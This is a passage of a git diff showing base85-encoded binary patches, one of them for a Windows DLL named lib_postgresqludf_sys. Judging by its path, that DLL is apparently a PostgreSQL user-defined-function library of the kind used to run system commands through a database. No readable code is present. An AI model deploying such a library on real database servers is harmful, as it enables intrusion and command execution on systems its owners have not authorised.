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 W3IMfzsj!Qc{Um-NzE_0cgZ~FT4@iLk diff --git a/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.4/lib_postgresqludf_sys.dll index 2e2c8000cb1f947a4d9e1832fda213d92181837b..a3282fb0a8d14fab5c3810f6fd267143dfa07201 100755 GIT binary patch delta 3369 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 U?f(4yh@sqbIki}8m32TONKtN;K2 delta 3298 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 V0IL732E5^H#B9d&9zpQI{{d7kID!BG